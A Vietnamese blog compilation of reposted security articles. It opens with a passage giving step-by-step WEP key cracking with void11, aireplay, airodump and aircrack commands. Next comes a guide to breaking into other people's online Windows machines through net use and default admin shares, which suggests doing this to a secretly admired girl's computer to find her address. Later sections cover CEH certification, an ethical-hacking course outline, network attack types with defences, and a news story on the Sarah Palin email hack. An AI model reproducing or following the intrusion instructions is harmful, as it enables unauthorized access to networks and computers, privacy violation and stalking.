Nhấn chữ n cho sự không đồng ý và AIREPLAY sẽ resume lại và y để xác nhận nếu match những tiêu chuẩn trên để AIREPLAY sẽ chuyển từ chế độ capture sang chế độ replay, ngay lập tức quay trở lại laptopB và stop VOID11
Capture packet dựa vào deauthenticate được xem là phần gian xảo nhất trong phần crack. Trong khi nó tạo ra traffic, nưng nó tạo ra không được nhiều lắm trong quá trình client reconnect tới ACP, capture có thể phức tạp hơn tuỳ thuộc vào driver của card và hệ điều hành của client , VOID11 có thể dễ dàng áp đảo thằng client bằng với một deauthen packet thậm chí không có đủ thời gian để reconnect lại.
Thỉnh thoảng bạn có thể may mắn từ những packet đầu nhưng thỉnh thoảng bạn cũng phải đợi cho tới packet cần match
Trong command của AIREPLAY một tham số -d cho chế độ delay
Tại thời điểm này thì laptopA đang chạy AIREPLAY có số IVs tạm đủ cho chúng ta thực hiện việc cracking, stop VOID11 trên máy laptop B và bật AIRODUMP lên, đánh vào những command sau:
Starting up airodump after stopping void11
switch-to-wlanng
cardctl eject
cardctl insert
monitor.wlan wlan0 THECHANNELNUM
cd /ramdisk
airodump wlan0 cap1
chắc các bạn cũng đã biết làm như thề náo rồi đúng không, chỉ có dòng cuối nếu trong mạng bạn có nhiều mạng wireless thì bạn hãy gõ một command tại cuối dòng là
airodump wlan0 cap1 MACADDRESSOFAP
chắc lệnh trên bạn cũng hiểu phải không nào , mình đã giải thích nhiều rồi mà
sau khi AIRODUMP khởi động bạn sẽ thấy IVs tăng lên rất nhanh khoảng 200 /s, cám ơn AIREPLAY trên laptopA
trong khi AIRODUMP đang write IVs vào file ta hãy bắt đầu quá trình chạy AIRCRACK, ta có thể cho chạy song song, mở AIRCRACK và nhập command sau :
Starting aircrack
cd /ramdisk
aircrack -f FUDGEFACTOR -m MACADDRESSOFAP -n WEPKEYLENGTH -q 3 cap*.caplưu ý FUDGEFACTOR là một số nguyên và mặc định là 2
MACADDRESSOFAP = MAC của ACP
WEPKEYLENGTH đọc chắc các bạn cũng hiểu là chiều dài bit của WEBKEY thông thường là 64 và 128



bạn có thể thay số 2 bằng một số nào đó lớn hơn nhưng sẽ làm quá trình chậm hơn, nhưng có kết quả chắc hơn, nó sẽ give up nếu như không tìm thấy 64 bit format
bạn có thể nhấn ctrl + C để stop và up arrow để resart lại lệnh vừa rồi của AIRCRACK, nó sẽ update packet và tham số -p cho quá trình multi process, thỉnh thoảng bạn sẽ được màn hình như sau:



chúng ta đã hoàn tất quá trình crack WEPKEY với 64bit chỉ trong vòng chưa tới 5 phút bao gồm quá trình scan và crack với AIRCRACK và kick traffic với AIREPLAY đang chạy, đôi khi bạn có thể crack khi IVs lên đến 25000 nhưng hầu hết là nên trên 100000 và 128 bit thì còn hơn nữa khoảng từ 150000 đến 700000, có nhiều IVs thì càng good cho việc crack, điều quan trọng là bạn phải điển vào lenghkey mà bạn muốn crack và không có công cụ nào cung cấp điều đó trong disk này, nên bạn nên thử cả hai 64 và 128



Và đây là lenghkey 128 bit. Bạn cũng nên có một máy có cấu hình mạnh cả cpu và một lượng khá về RAM, bạn cũng có thể tách riêng quá trình sử lý bằng cách lưu file capture vào một máy khác máy đó không cần phải kết nối vào mạng chỉ cần chạy AIRCRACK sử lý những packet mà AIRODUMP lượm về, hoặc có thể lưu trên thiết bị USB, chỉ việc mở command len và nhập command sau:

Saving capture files to USB flash drive
mkdir /mnt/usb
mount -t vfat /dev/uba1 /mnt/usb
copy /ramdisk/cap*.cap /mnt/usb
umount /mnt/usb

Kết luận:
bảo mật bằng wepkey không phải là phuong pháp tốt, “wired equivalent privacy”, chúng ta nên sử sụng chế độ bảo mật cao hơn là WPA2 “WIFI PROTEC ACCESS” version2

sau đây là summary commad:
Commands for setting up airodump
iwconfig wlan0 mode monitor
iwconfig wlan0 channel THECHANNELNUM
cd /ramdisk
airodump wlan0 cap
Commands for setting up a void11 deauth attack

switch-to-hostap
cardctl eject
cardctl insert
iwconfig wlan0 channel THECHANNELNUM
iwpriv wlan0 hostapd 1
iwconfig wlan0 mode master
void11_penetration -D -s MACOFSTATION -B MACOFAP wlan0
Commands to set up aireplay to listen for an ARP packet
switch-to-wlanng
cardctl eject
cardctl insert
monitor.wlan wlan0 THECHANNELNUM
cd /ramdisk

aireplay -i wlan0 -b MACADDRESSOFAP -m 68 -n 68 -d ff:ff:ff:ff:ff:ff
Starting up airodump after stopping void11
switch-to-wlanng
cardctl eject
cardctl insert
monitor.wlan wlan0 THECHANNELNUM
cd /ramdisk
airodump wlan0 cap1
Starting aircrack
cd /ramdisk
aircrack -f FUDGEFACTOR -m MACADDRESSOFAP -n WEPKEYLENGTH -q 3 cap*.cap

(Cám ơn hoangnhat007/hvaonline đã chia sẽ bài viết này) & thuynt/blog

Xâm nhập máy tính đang Online

Xâm nhập máy tính đang Online là một kỹ thuật vừa dễ lại vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách
đáng kể và những máy họ không share thì không thể xâm nhập được, do đó
nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một
cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân
không share là dùng chương trình DOS để tấn công .

Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
--->>Các bước thực hiện:

(1). Vào Start ==> Run gõ lệnh cmd .
(2). Trong cửa sổ DOS hãy đánh lệnh “net view <IP của nạn nhân>”

+ VD : c:\net view 203.162.30.xx


(3). Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh
tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân><ổ share của
nạn nhân>

+ VD : c:\net use E : 203.162.30.xxC

(4). Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy
download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
(5). Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân>c$ (hoặc
d$)"administrator"

+ VD : net use E : 203.162.30.xxC$"administrator"

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là
"administrator" .
(6). Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình
“thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ
của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi
tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass
với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP
của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên , chúc vui !

Theo blog quocky711

CEH một chứng chỉ bảo mật uy tín

CEH một chứng chỉ bảo mật uy tín


Nếu bạn muốn ngăn chặn sự tấn công của Hackers vào hệ thống mạng của mình, trước tiên bạn phải biết được các phương thức tấn công của họ. Toàn bộ máy tính trên toàn thế giới là những hệ thống có thể bị tấn công. Những cuộc tấn công không chỉ gây lên thiệt hại lớn cho toàn bộ hệ thống, những thông tin quan trọng có thể sẽ bị xóa toàn bộ trong 20 phút


Với lương tâm của một hacker chân chính nhằm bảo vệ tổ chức chống lại các tấn công từ những mục đích nguy hiểm, pháp luật đôi lúc chỉ có giới hạn và không thể đáp ứng ngay lập tức với các tấn công. Một triết lý muôn thủa đó là muốn bắt được chộm trước tiên bạn phải suy nghĩ được những điều kẻ chộm có thể nghĩ. Với sự phát triển nhanh chóng của công nghệ việc các tổ chức ứng dụng công nghệ thông tin vào sản xuất và buôn bán là yêu cầu không thể thiếu, và bảo vệ an toàn các thông tin đó là yếu tố sống còn của doanh nghiệp và tổ chức.Nếu việc tấn công yêu cầu sự sáng tạo và nghĩ ra những vấn đề khác mà mọi người thường nghĩ, sau đó kiểm tra các yếu tố bảo mật, trong thâm tâm luôn nghĩ một tổ chức luôn có kẽ hở và yêu cầu là phải tìm ra các kẽ hở đó. Điều này giúp bạn đề phòng được các dạng tấn công tới tổ chức của mình, đảm bảo không bị động trước các dạng tấn công và luôn ở trạng thái chủ động. Một nghĩa khác đó là việc bạn tìm ra những vấn đề nguy hiểm trong hệ thống của mình và có những giải pháp khắc phục cụ thể trong những trường hợp.

Điều này có nghĩa là một Ethical Hacker là một người kiểm tra các lỗi bảo mật của hệ thống và đưa ra các giải pháp phòng chống một cách hiệu quả và toàn vẹn. Một Ethical Hacker là một cá nhân trong tổ chức như bao cá nhân khác và là người đảm nhận việc cố gắng tìm hiểu các kẽ hở bảo mật trong hệ thống mạng, hệ thống máy tính và sử dụng các công nghệ của Hacker để thâm nhập vào hệ thống, phân tích các kẽ hở bảo mật. Hacking là một tội nghiêm trọng tại Mỹ và nhiều nước trên thế giới. Khi một vụ tấn công thực sự xảy ra đó là một sự tương phản hoàn toàn với một Ethical Hacker. Ethical Hacker là người của tổ chức đó có thẩm quyền thâm nhập tấn công thử, phân tích và đưa ra giải pháp bảo mật cho tổ chức của họ.
Chương trình trong chứng chỉ CEH không tập chung vào một công nghệ của một nhà sản xuất nào mà nội dung của chứng chỉ đó xoay quanh các công nghệ bảo mật chung từ đó những người có chứng chỉ CEH sẽ tự tư duy trong mỗi trường hợp cụ thể trên những công nghệ cụ thể trong tổ chức của mình. Chứng chỉ CEH sẽ có sự hiểu biết sâu rộng về các ứng dụng như một nhà quản lý chuyên nghiệp, một nhà giám sát, một nhà chuyên nghiệp về bảo mật, người quản trị trang web, và là một người cần thiết trong một tổ chức nhằm xây dựng nên một hệ thống mạng an toàn. Một CEH là người có kỹ năng chuyên nghiệp người có sự hiểu biết và thấu hiểu cách thâm nhập của kẻ tấn công, những kẽ hở bảo mật của hệ thống và sử dụng chính những công cụ của một kẻ Hacker chuyên nghiệp cũng như các đoạn mã chuyên để thâm nhập vào hệ thống để kiểm tra bảo mật nhằm cách ngăn chặn các cuộc tấn công bằng các công cụ đó.
Để có chứng chỉ CEH bạn cần phải vượt qua được core thi với mã môn thi là 312-50.
Bạn có thể đăng ký thi chứng chỉ CEH tại bất kỳ trung tâm khảo thí nào của VUE trên toàn thế giới. Lệ phí thi CEH giá chưa tính tính thuế là 250 USD.
Khóa học CEH với những nội dung cụ thể hướng dẫn những phương thức bảo mật chung, những công cụ thực tế mà các Hackers sử dụng để tấn công vào một hệ thống, những công cụ phân tích, virus, trojan…Khi đã được cung cấp một hệ thống kiến thức về bảo mật và các công cụ tấn công từ đó người học sẽ có được những phương pháp luận của mình về tấn công và bảo mật. Khóa học CEH nhằm đào tạo ra những người Hacker chân chính, nhằm bảo vệ hệ thống mạng, những người làm an ninh mạng chuyên nghiệp.
Vậy bạn đã bao giờ thắc mắc người có chứng chỉ CEH thì đứng ở vị trí nào trong ngành bảo mật hệ thống mạng chưa.
Biểu đồ này sẽ thể hiện rõ điều này:

Từ biểu đồ này bạn có thể thấy rằng những người có chứng chỉ CCNA và MCSE thì có thể nghiên cứu học tập CEH, và vì sao lại như vậy? Để có thể hiểu được các phương thức bảo mật cũng như tấn công mạng bạn cần phải có một kiến thức khá sâu về mạng và CCNA là một chứng chỉ thể hiện sự hiểu biết đó của bạn về mạng, về gói tin, về địa chỉ và quá trình truyền dữ liệu trên mạng. MCSE cung cấp cho bạn sự hiểu biết về hệ thống về hệ điều hành các dịch vụ mạng và một nền tảng kiến thức khá sâu rộng khác.
Và một điều bạn cần biết đó là CEH chưa phải là đỉnh cao trong các chứng chỉ bảo mật và trong biểu đồ trên thể hiện điều đó. Nhưng khi bạn có CEH bạn có thể tiếp tục nghiên cứu phát triển hệ thống kiến thức của mình nâng cao thêm sự hiểu biết và chuyên sâu về những lĩnh vực cụ thể.
Vậy con đường ngắn nhất để lấy chứng chỉ CEH là như thế nào, dưới dây là sơ đồ hướng dẫn cách bạn lấy được chứng chỉ CEH.Trong sơ đồ này đã thể hiện các bước bạn cần phải thực hiện: 1 bạn nên học tại một chung tâm đào tạo uy tín về bảo mật, 2 bạn phải có một kế hoạch ôn thi cụ thể, 3 bạn đăng ký thi tại một trung tâm khảo thí của VUE và bước tiếp theo là bạn cầm trên tay một chứng chỉ CEH uy tín.
Nội dung chi tiết của khóa học bạn có thể truy cập vào địa chỉ:
http://www.eccouncil.org/Course-Outline/Ethical%20
Hacking%20and%20Countermeasures%20Course.htm để xem chi tiết
Các thông tin bạn có thể download dưới dạng file Acrobat tại địa chỉ:
http://www.eccouncil.org/ipdf/EthicalHacker.pdf
Hay xem các giới thiệu về khóa học tại:
http://www.eccouncil.org/docs/ebook.exe
Có người nói "Thế bây giờ tôi đăng ký thi CEH luôn có được không" và câu trả lời sẽ là không:
- Bạn phải được công ty xác nhận đã có kinh nghiệm trên 2 năm làm về bảo mật
- Gửi bản xác nhận của công ty qua fax vào số: +1-505-212-0667 hay bạn có thể scan bản đăng ký và gửi vào hòm thư: cehapp@eccouncil
- Bạn đợi hai tuần sẽ nhận được mã số để đi đăng ký thi
- mang đến trung tâm khảo thí đăng ký và hẹn ngày đi thi.
Bản đăng ký bạn có thể download tại địa chỉ sau:
http://www.eccouncil.org/CEH%20Exam%20
EC0-350%20Application%20Form.pdf
Kết luận
Lệ phí thi CEH là: 250 USD (chưa thuế)
Số câu hỏi: 150 câu
Thời gian: 4 giờ
Pass: Đúng 70% trở lên
Bạn có thể vào địa chỉ sau đây, là những câu hỏi thường gặp nhất đối với những người đang thắc mắc về việc thi chứng chỉ CEH:
http://www.eccouncil.org/FAQ.htm

Đình Nguyên(VNE)

Read more...

An ninh mạng - Hacker mũ trắng (CEH)

An ninh mạng - Hacker mũ trắng (CEH)
Thursday, May 21, 2009
CEH là từ viết tắt của Certified Ethical Hacker, một chứng chỉ uy tín về bảo mật của hãng Ec-Council. Với phương châm “Hiểu Hacker để chống hacker” - Điều này có nghĩa là một Ethical Hacker là một người kiểm tra các lỗi bảo mật của hệ thống và đưa ra các giải pháp phòng chống một cách hiệu quả và toàn vẹn. Một Ethical Hacker là người đảm nhận việc cố gắng tìm hiểu các kẽ hở bảo mật trong hệ thống mạng, hệ thống máy tính và sử dụng các công nghệ của Hacker để thâm nhập vào hệ thống, phân tích các kẽ hở bảo mật. Hacking là một tội nghiêm trọng tại Mỹ và nhiều nước trên thế giới. Khi một vụ tấn công thực sự xảy ra đó là một sự tương phản hoàn toàn với một Ethical Hacker. Ethical Hacker là người của tổ chức đó có thẩm quyền thâm nhập tấn công thử, phân tích và đưa ra giải pháp bảo mật cho tổ chức của họ. - Chương trình trong chứng chỉ CEH không tập chung vào một công nghệ của một nhà sản xuất nào mà nội dung của chứng chỉ đó xoay quanh các công nghệ bảo mật chung từ đó những người có chứng chỉ CEH sẽ tự tư duy trong mỗi trường hợp cụ thể trên những công nghệ cụ thể trong tổ chức của mình. CEH sẽ có sự hiểu biết sâu rộng về các ứng dụng như một nhà quản lý, giám sát, bảo mật, người quản trị trang web chuyên nghiệp, và là một người cần thiết trong một tổ chức nhằm xây dựng nên một hệ thống mạng an toàn. Một CEH là người có kỹ năng chuyên nghiệp, thấu hiểu các cách thâm nhập của kẻ tấn công. Họ sử dụng chính những công cụ của một kẻ Hacker chuyên nghiệp để thâm nhập vào hệ thống để kiểm tra tính bảo mật nhằm đưa ra cách ngăn chặn các cuộc tấn công bằng các công cụ đó.

CHƯƠNG TRÌNH ĐÀO TẠO AN NINH MẠNG - HACKER MŨ TRẮNG





HÃY LÀ HACKER ĐỂ CHỐNG LẠI HACKER!

BẠN ĐÃ SẴN SÀNG LÀ HACKER ĐẦU TIÊN TẠI HƯNG YÊN?



Chương 1: FOOTPRINTING
I. Giới thiệu về Foot Print
II. Các bài thực hành
Bài 1: Tìm thông tin về Domain
Bài 2: Tìm thông tin email

Chương 2: SCANNING
I. Giới thiệu về Scanning
II. Các Bài thực hành
Bài 1: Sử dụng Phần mềm Nmap
Bài 2: Sử dụng phần mềm Retina để phát hiện các vulnerabilities và tấn công bằng Metaesploit framework

Chương 3: SYSTEM HACKING
I. Giới thiệu System Hacking
II. Thực hành các bài Lab
Bài 1: Crack password nội bộ
Bài 2: Sử dụng chương trình pwdump3v2 khi có được 1 user administrator của máy nạn nhân để có thể tìm được thông tin các user còn lại
Bài 3: Sử dụng Keylogger

Chương 4: TROJAN và BACKDOOR
I. Giới thiệu về Trojan và Backdoor
II. Các bài thực hành
Bài 1 Sử dụng netcat
Bài 2: Sử dụng Trojan dưới dạng Webbase

Chương 5: CÁC PHƯƠNG PHÁP SNIFFER
I. Giới thiệu về Sniffer
II. Thực hành sniffer trong mạng LAN

Chương 6: Tấn Công từ chối dịch vụ DoS.
I. Giới thiệu:
II. Các bài Lab:
Bài 1: DoS bằng cách sử dụng Ping of death.
Bài 2: Sử dụng flash để DDoS

Chương 7: Social Engineering
I/ Giới Thiệu
II/ Thực hành bài Lab:
Bài 1: Gửi email nặc danh đính kèm Trojan
Bài 2: Tích hợp Trojan vào một file khác và thực thi chúng

Chương 8: Hacking Web Server
I/ Giới thiệu:
II/ Thực Hiện bài lab
Bài 1: Tấn công Web Server Win 2003(lỗi Apache)
Bài 2: Khai thác lỗi ứng dụng Server Linux

Chương 9: WEB APPLICATION HACKING
I/ Giới thiệu:
II/ Các Bài Lab
Bài 1: Cross Site Scripting
Bài 2: Local hacking

Chương 10: SQL INJECTION
I/ Giới thiệu về SQL Injection:
II/ Các bài Lab
Bài 1: Ms Access injection
Bài 2: Ms SQL injection
Bài 3: My SQL injection

Chương 11: WIRELESS HACKING
I/ Giới Thiệu
II/ Thực hành bài Lab:

Chương 12: VIRUS
I/ Giới thiệu: (tham khảo bài đọc thêm)
II/ Thực hành Lab: Virus phá hủy dữ liệu máy


Hacker concept


The noun 'hacker' refers to a person who enjoys learning the details of computer systems and stretch their capabilities.

The verb 'hacking' describes the rapid development of new programs or the reverse engineering of already existing software to make the code better, and efficient.

The term 'cracker' refers to a person who uses his hacking skills for offensive purposes.

The term 'ethical hacker' refers to security professionals who apply their hacking skills for defensive purposes.




Các hình thức tấn công mạng

Các hình thức tấn công mạng
(Thứ Sáu, 11/05/2007 - 9:44 AM)

Có thể phân thành 4 dạng như sau:


1) Reconnaissance attacks (Do Tham):

Bước đầu hacker ping đến tằm nhắm để xác định địa chỉ IP đích. Sau đó, hacker xác định những port cũng như những dịch vụ đang “sống” trên địa chỉ IP đó.

Từ những thông tin này, hacker bắt đầu xác định được dạng và phiên bản của hệ điều hành. Hacker tiến hành đánh cắp dữ liệu hoặc phá huỷ hệ điều hành của mạng.

Các hình thức tấn công dạng này bao gồm: packet sniffers, port scans, ping sweeps, internet information queries.

a) Packet sniffers:

Là phần mềm ứng dụng dùng một card adapter với promiseous mode để bắt giữ tất cả các gói tin gởi xuyên qua một mạng LAN. Kỹ thuật này chỉ thực hiện được trên cùng một collision domain.

Packet sniffers sẽ khai thác những thông tin được truyền ở dạng clear text. Những giao thức truyền ở dạng clear text bao gồm: Telnet, FTP, SNMP, POP, HTTP…

Một vd như sau:

Code:

TCP - Transport Control Protocol
Source Port: 3207
Destination Port: 110 pop3
Sequence Number: 1904801188
Ack Number: 1883396256
Offset: 5 (20 bytes)
Reserved: %000000
Flags: %011000
0. .... (No Urgent pointer)
.1 .... Ack
.. 1... Push
.. .0.. (No Reset)
.. ..0. (No SYN)
.. ...0 (No FIN)
Window: 64161
Checksum: 0x078F
Urgent Pointer: 0
No TCP Options
POP - Post Office Protocol
Line 1: PASS secretpass

Ta nhận thấy password được truyền đi ở dạng clear text là secrectpass.

Bởi vì packet được truyền đi không được mã hoá như trên, nó có thể bị xử lý bởi bất kỳ ai sử dụng kỹ thuật packet sniffers.

Những công cụ sau được dùng ngăn cản packet sniffers gồm: authentication, switched infrastrutured, antisniffer va cryptography.

Authentication:

Kỹ thuật xác thực này được thực hiện phổ biến như one-type password (OTPs). Kỹ thuật này được thực hiện bao gồm hai yếu tố: personal identification number ( PIN ) và token card để xác thực một thiết bị hoặc một phần mềm ứng dụng.

Token card là thiết bị phần cứng hoặc phần mềm sản sinh ra thông tin một cách ngẫu nhiên ( password ) tai một thời điểm, thường là 60 giây.

Khách hàng sẽ kết nối password đó với một PIN để tạo ra một password duy nhất. Giả sử một hacker học được password đó bằng kỹ thuật packet sniffers, thông tin đó cũng không có giá trị vì nó đã hết hạn.

Switched infrastructured:

Kỹ thuật này có thể dùng để ngăn chặn packet sniffers trong môi trường mạng. Vd: nếu toàn bộ hệ thống sử dụng switch ethernet, hacker chỉ có thể xâm nhập vào luồng traffic đang lưu thông tại 1 host mà hacker kết nối đến. Kỹ thuật này không làm ngăn chặn hoàn toàn packet sniffer nhưng nó có thể giảm được tầm ảnh hưởng của nó.

Antisniffer tools:

Là những phần mềm và phần cứng được thiết kế để ngăn chặn sniffer. Thật sự những ứng dụng này không ngăn chặn được hoàn toàn nguy cơ bị sniffer nhưng cũng giống như những công cụ khác, nó là một phần của toàn bộ hệ thống.

Cryptography:

Kỹ thuật mã hoá này giúp cho dữ liệu được truyền đi qua mạng ma không ở dạng clear text. Giả sử hacker có bắt được dữ liệu thì cũng không thể giải mã được thông tin.

Phương pháp này có hiệu lực hơn so với việc dò tìm và ngăn cản sniffer. Nếu như một kênh truyền được mã hoá, dữ liệu mà packet sniffer dò tìm được cũng không có giá trị và không phải là thông tin chính xác ban đầu.

Hệ thống mã hóa của Cisco dựa trên kỹ thuật IPSec, giao thức mã hóa “ đường hầm” dựa trên địa chỉ IP. Những giao thức gồm: Secure Sell Protocol ( SSH ) và Secure Socket Layer ( SSL ).

b) Port scans va ping sweeps:

Kỹ thuật này được tiến hành nhằm những mục đích như sau:

Xác định những dịch vụ trong mạng

Xác định các host và thiết bị đang vận hành trong mạng

Xác định hệ điều hành trong hệ thống

Xác định tất cả các điểm yếu trong mạng, từ đó tiến hành những mục đích khác.

Với kỹ thuật ping sweeps, hacker có thể xác định một danh sách các host đang sống trong một môi trường. Từ đó, hacker sử dụng công cụ port scans xoay vòng qua tất cả các port và cung cấp một danh sách đầy đủ các dịch vụ đang chạy trên host đã tìm thấy bởi ping sweeps. Công viêc tiếp theo là hacker xác định những dịch vụ có điểm yếu và bắt đầu tấn công vào điểm yếu này.

Kỹ thuật IDS được dùng để cảnh báo cho nhà quản trị khi có reconnaissance attacks như là port scans va ping sweeps. IDS giúp nhà quản trị có sự chuẩn bị tốt nhằm ngăn cản hacker.

c) Internet information queries:

DNS queries có thể chỉ ra nhiều thông tin như là người sở hữu một domain nào đó và range địa chỉ nào được ấn định cho domain đó.

Hacker sử dụng công cụ này để “ trinh sát” tìm ra các thông tin trên mạng.

Cùng với port scans và ping sweeps, sau khi tìm ra được những thông tin đầy đủ như các port active, các giao thức chạy trên port đó, hacker tiến hành kiểm tra những đặc trưng của các ứng dụng này để tìm ra điểm yếu và bắt đầu tấn công.

2) Access attacks:

Trong phương pháp này, kẻ xâm nhập điển hình tấn công vào mạng nhằm: đánh cắp dữ liệu, giành lấy quyền access, và giành lấy những đặc quyền access sau này.

Access attacks có thể bao gồm:

Password attack

Trust exploitation

Port redirection

Man in the middle attack

a) Password attack:

Hacker có thế xâm nhập hệ thống dùng các kỹ thuật brute-force attacks, trojan horce, IP spoofing và packet sniffer.

Thường một cuộc tấn công brute-force attack được thực hiện dùng 1 chu trình chạy xuyên qua mạng và cố gắng xen vào chia sẻ môi trường. Khi hacker giành được quyền access đến một nguồn tài nguyên, hacker cùng với user cùng chia sẻ quyền lợi. Nếu như có đủ tài nguyên thì hacker sẽ tạo ra một của sổ kín cho lần access sau.

Hacker có thể làm thay đổi bảng định tuyến trong mạng. Điều đó sẽ làm chắc chắn rằng tất cả các gói tin sẽ được gởi đến hacker trước khi được gởi đến đích cuối cùng.

Trong một vài trường hợp, hacker có thể giám sát tất cả các traffic, thật sự trở thành một man in the middle.

Ta có thể hạn chế password attack bằng những cách sau:

Không cho phép user dùng cùng password trên các hệ thống.

Làm mất hiệu lực account sau một vài lần login không thành công. Bước kiểm tra này giúp ngăn chặn việc rà soát password nhiều lần.

Không dùng passwords dạng clear text: dùng kỹ thuật OTP hoặc mã hoá password như đã trình bày phần trên.
Dùng “strong” passwords: Dạng password này dùng ít nhất 8 ký tự, chứa các uppercase letters, lowercase letters, những con số và những ký tự đặc biệt.

b) Trust exploitation:

Đây là phương pháp “ khai thác tin cậy “, nó dựa vào các mối quan hệ tin cậy bên trong mạng.

Bình thường, nếu hai domain có mối quan hệ tin cậy với nhau thì cho phép thiết bị domain này có thể access vào domain kia.

Hacker sẽ lợi dụng sơ hở trong mối quan hệ tin cậy nhằm khai thác các sai sót trong mối quan hệ này để thoả hiệp, tức là để kiểm soát.

Hệ thống bên ngoài firewall sẽ có mối quan hệ hoàn toàn không tin cậy với hệ thống bên trong firewall.

c) Port redirection:

Là một dạng khác của trust exploitation attack mà nó sử dụng một host thoả hiệp nhằm lấy giấy phép ra vào firewall.
Ta có thể tượng như là một firewall với 3 interface và mỗi interface kết nối với 1 host. Host ở bên ngoài có thể hướng đến host ở public services ( thường được gọi là demilitanized zone- DMZ ). Và host ở public services có thể hướng tới cả host ở bên trong hay bên ngoài firewall.Hacker làm cho host ở public service trở thành 1 host thoả hiệp. Hacker đặt một phần mềm tại host này nhằm tạo ra một traffic trực tiếp từ host outside đến host inside. Kết nối này sẽ ko thực hiện thông qua firewall. Như vậy, host bên ngoài giành được quyền kết nối với host bên trong thông qua qui trình port redirection tại host trung tâm ( public services host ).

d) Man in the middle attack:

Kỹ thuật man in the middle được thực hịên bao gồm:

Netword packet sniffers

Giao thức routing và transport.

Tấn công man in the middle nhằm mục đích:

Đánh cắp dữ liệu

Giành lấy một phiên giao dịch

Phân tích traffic trong mạng

DoS

Phá hỏng dữ liệu được truyền

Một ví dụ của man in the middle attack đó là: một người làm việc cho ISP và cố gắng access đến tất cả các gói dữ liệu vận chuyển giữa ISP và bất kỳ một mạng nào khác.

Ta có thể ngăn chặn hình thức tấn công này bằng kỹ thuật mã hoá: mã hoá traffic trong một đường hầm IPSec, hacker sẽ chỉ nhìn thấy những thông tin không có giá trị.
Theo vietnamlab

Hacker phá mật khẩu e-mail của Sarah Palin như thế nào?

Hacker phá mật khẩu e-mail của Sarah Palin như thế nào?
Sarah Pallin, nữ ứng viên phó tổng thống Mĩ của đảng Cộng Hoà

(Dân trí) - Cư dân mạng những ngày gần đây được dịp xôn xao khi tài khoản Yahoo Mail của nữ ứng viên tổng thống đảng Cộng Hoà Mĩ, Sarah Palin bị hack và và tung mật khẩu lên một trong những diễn đàn tự do lớn nhất Internet.
>> Email của Sarah Palin bị hack

Hiện vẫn không rõ thủ phạm vụ xâm phạm thư tín nghiêm trọng này, nhưng chưa có thông tin cá nhân đáng quan ngại nào của bà ứng viên bị đưa lên mạng - ngoại trừ vài bức ảnh gia đình. Tuy nhiên, nhiều người tỏ ra lo ngại do nhóm làm việc của bà Palin có thói quen sử dụng địa chỉ email cá nhân để bàn chuyện "quốc gia đại sự". Ngay sau khi vụ việc xảy ra, địa chỉ cũ gov.palin@yahoo.com đã bị huỷ bỏ, mọi email tới địa chỉ này được tự động chuyển sang gov.sarah@yahoo.com.

Việc "hack" vào tài khoản của bà ứng viên hoá ra đơn giản hơn người ta vẫn tưởng. Tương tự mọi dịch vụ web mail khác, Yahoo mail có chức năng cấp lại mật khẩu và gửi vào địa chỉ email thứ hai, hoặc thậm chí không sử dụng địa chỉ thứ hai mà tạo mật khẩu mới ngay tại chỗ. Công đoạn khó khăn nhất - điền đúng thông tin cá nhân: ngày sinh, mã thư tín khi đăng kí, câu hỏi bảo mật cá nhân lại được giải quyết rất "chóng vánh" do khổ chủ quá nổi tiếng. Các thành viên của diễn đàn 4chan, nơi thủ phạm phát tán mật khẩu hòm thư cho biết chỉ mất 15 giây tìm trên Wikipedia để tìm ra ngày sinh Sarah Palin. Wasilla, bang Alaska, nơi bà sinh sống chỉ có đúng 2 mã thư tín duy nhất. Câu hỏi "Nơi bạn gặp vợ/chồng mình" có vẻ khó khăn, nhưng cũng bị "khuất phục nhanh chóng" chỉ sau vài lần thử với câu trả lời đúng là Wasilla High - tên ngôi trường nơi vợ chồng bà ứng viên học chung thời trung học.

"Hack" tài khoản email hoá ra vô cùng đơn giản

Sau khi thủ phạm đưa mật khẩu lên 4chan, một thành viên "tốt bụng" thay đổi mật khẩu và thông báo tới một trong những người phó của bà ứng viên. Rất tiếc, người này lại sơ hở khi đăng ảnh chụp màn hình bức email có chứa mật khẩu lên diễn đàn lần nữa. Cả diễn đàn "sôi sục" với cuộc đua của các thành viên truy cập vào tài khoản tìm cách đổi lại mật khẩu, dẫn đến kích hoạt tính năng bảo mật của Yahoo Mail "đóng băng" hòm thư trong 24 giờ - quá đủ để cơ quan chức năng ra tay can thiệp.

